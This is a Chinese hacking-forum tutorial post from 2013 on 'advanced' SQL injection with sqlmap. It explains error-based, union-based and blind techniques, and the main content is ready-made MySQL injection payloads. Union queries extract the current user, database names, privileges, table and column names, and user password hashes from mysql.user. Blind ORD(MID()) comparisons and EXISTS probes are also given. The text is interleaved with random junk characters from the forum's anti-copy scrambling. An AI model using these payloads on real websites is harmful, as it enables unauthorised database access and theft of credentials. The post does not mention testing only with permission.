找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
2 x. n* s1 D8 X- y% S
# ^9 g6 P2 j6 V; ^9 A3 R" L: O这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
$ H5 G& T& {7 k. d) O% M 9 C1 ~+ S- `  u; f: f
分类标准        分类        备注
! w% H" `" a. @% @: G按字段类型        整型注入,字符型注入       
! F& K* u% Z" N. x" ]  ^5 i按出现的位置        get注入,post注入,cookie注入,http header注入        " y! Z$ Z- ]  r
然而高级注入是这样的0 c$ n9 g/ g$ R* \

: B# l- C' n0 b* F/ ]高级注入分类        条件
: H$ z" r' L5 ?7 }4 P8 \error-based sql        数据库的错误回显可以返回,存在数据库,表结构! A" ]: e% Q/ c) j
union-based sql        能够使用union,存在数据库,表结构0 o5 F! f8 }3 I, H
blind sql        存在注入( ~2 h1 y9 z6 ]$ C% r( N
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。: X! r0 s1 [7 f( V! Z! T

, W( D7 d: W/ z2 K* A% c; I# |好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火0 X6 |% m8 q; V6 H3 {! T6 P0 v

% B& B) |4 `6 W附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
: b& N. `  n7 T, \% S( v8 k7 I
  Y& c( Q- v: E" t这里用mysql说明
! S/ w9 o' S7 z/ S+ L9 u, R7 \: `
) {/ J# M" t( z" G; _4 Be注入坛子里很多了,请看戳我或者再戳我
9 e% G8 q  v% Z% E
) C+ S$ Y/ ?) i; U$ bu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
5 U* `0 G. z: Q( U0 S * T3 ^, Y1 H& |9 j" w9 {) T
获取当前数据库用户名
! |7 C  E; s4 n( M5 O
7 j# e- i1 O9 I9 F  j3 [2 }UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
/ I& A0 n* i/ N- XAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL; ]3 Q& X, U  `2 L3 |6 p  W5 _
L, NULL#
& i8 q1 m7 Y1 ^6 `0 T注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。. x% E3 Z9 a; R
! [4 v8 V; f0 ?1 _5 T  U6 }9 d4 k
获取数据库名* [5 B& q1 e; k. ^' X6 U5 T
! S0 {* c1 ?+ f1 N$ \# A% z/ w
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
6 E( P" @- V- g7 \获取所有用户名
, _8 v' @8 M, R& b3 S: Y( D; L# r " ]+ g0 }7 F1 M
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
; x1 C% p% t9 Z4 s+ }! R, Z( h6 `查看当前用户权限
( P5 R, U1 T; ?* W$ ?& o# ~; d) T ; r0 J1 t# U! ?' k: \" t) J6 t# K$ t7 {
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#! ^$ E) X% O- h& d! s
尝试获取密码,当然需要有能读mysql数据库的权限
' d+ J( ~# h3 l  T
+ B2 z0 n( K. [7 Z+ P7 b- l- eUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
$ V& C, z& b. m0 U获取表名,limit什么的自己搞啦" m7 A; r+ i" P+ t, R' K$ _$ x
3 ~# G' M5 t9 ^4 U1 K, k; H% T7 I* C2 {
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#2 s6 p" ~3 s' ?" j' a. n8 T
获取字段名及其类型, S/ b8 I' |% S$ H. J. Y
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
. H. L% T; [+ }) r ) p7 R6 B; ?: y
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
% r& |5 ~$ Q% @3 }+ J 0 P) I* I/ H9 b. _
如:! J" w6 s: J+ {, e1 G
获取当前用户名6 D7 n, O) m, m8 l% H& I4 \* v# E
- R% p, G. C0 ?
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1162 t. \- f3 z! r/ ^: b! h6 K
获取当前数据库3 U! ^% E" j# F  O9 U- k

6 g, j- H: P. }4 e- Q! fAND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106: n; w0 E+ c0 }8 z( V
获取表名+ n0 E4 ]3 e4 X) O' ~" f
7 |+ u" k6 z7 ^+ o1 U% q  f  h
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51  ~& d- G" S3 ~) t1 |" @6 f3 N
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。
0 g( b9 c- ?% \回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
+ l0 V! k( a5 x% E, t' X0 @爆表
% Z, B2 J* C- L$ G9 [: Q+ O" m
7 Y5 X2 ^& Y& u  N+ _$ oAND EXISTS(select * from table)6 q2 J& n' j& t4 S
爆字段
$ D5 o0 B+ N: h, U5 c1 Q+ Z
4 o  A  ^$ N* {9 VAND EXISTS(select pwd from table)5 v3 |. \5 I' X' G" d# i, Y  P
盲注的变化就比较多了,由于篇幅,只是举个例子而已。
$ C+ q' J5 a  _/ I' w   z& [2 u! \, L: R, n7 W6 W8 z
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
5 P( M5 J' Z8 b0 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表